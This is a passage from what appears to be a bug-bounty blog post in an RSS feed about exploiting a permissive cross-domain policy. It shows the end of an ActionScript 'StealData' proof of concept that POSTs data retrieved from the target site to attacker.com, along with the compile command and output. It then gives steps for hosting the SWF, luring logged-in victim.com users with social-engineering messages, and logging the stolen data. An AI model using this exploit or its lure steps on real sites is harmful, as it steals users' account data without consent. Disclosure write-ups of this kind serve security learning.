{</em><br><em> trace(“Error loading URL: “ + error);</em><br><em> }</em><br><em> }</em></pre><pre><em>private function eventHandler(event:Event):void {</em><br><em> // URL to which retrieved data is to be sent</em><br><em> var sendTo:String = “http://attacker.com</em>/new_article.php<em>”</em><br><em> var sendRequest:URLRequest = new URLRequest(sendTo);</em><br><em> sendRequest.method = URLRequestMethod.POST;</em><br><em> var body:String = escape(event.target.data);</em><br><em> sendRequest.data = body;</em><br><em> var sendLoader:URLLoader = new URLLoader();</em><br><em> try {</em><br><em> sendLoader.load(sendRequest);</em><br><em> } catch (error:Error) {</em><br><em> trace(“Error loading URL: “ + error);</em><br><em> }</em><br><em> }</em><br><em> }</em><br><em>}</em></pre><p><strong><em>Lets compile it</em></strong></p><p><em>/opt/flex/bin/mxmlc ./actionscript-templates/StealData.as — output ./poc.swf</em><br><em>Loading configuration file /opt/flex/frameworks/flex-config.xml</em><br><em>/opt/crossdomain-exploitation-framework/actionscript-templates/StealData.as: Warning: This compilation unit did not have a factoryClass specified in Frame metadata to load the configured runtime shared libraries option.</em></p><p><em>/opt/crossdomain-exploitation-framework/poc.swf (1100 bytes)</em></p><p><strong><em>3)After compiling it Now put poc.swf to your web server and insert in your page code call to poc.swf</em></strong></p><p><strong><em>4)Use your imagination and provide link to other users of victim.com site, use wall, social engineering or send private messages with text “Read my article please or whatever you desire :p”</em></strong></p><p><strong><em>5)Wait…enable full web server logging or use TCPDUMP, it is also up to you.</em></strong></p><p>======================================</p><p><strong>What is the impact?</strong></p><p>If site contains sensitive information, for example people are logged in their accounts, which has sensitive data, we can steal this information, of course with social engineering or posting something on our wall and ask other people to review your post.</p><p>=======================================</p><p><strong>Any bounty?</strong></p><p>Well to be honest i didnt posted writeup because i got a load of bounty it was just a very cool experience and there was a lot i got to learn from it anyway the response they gave was very late and still i got an duplicate :P</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*qqLD6xG7j8HzwZe4S9wi1w.png" /></figure><p>it wasnt an very high severity bug but there was a lot i got to learn from it..</p><p><strong><em>THANKS…</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6be78f153e1b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>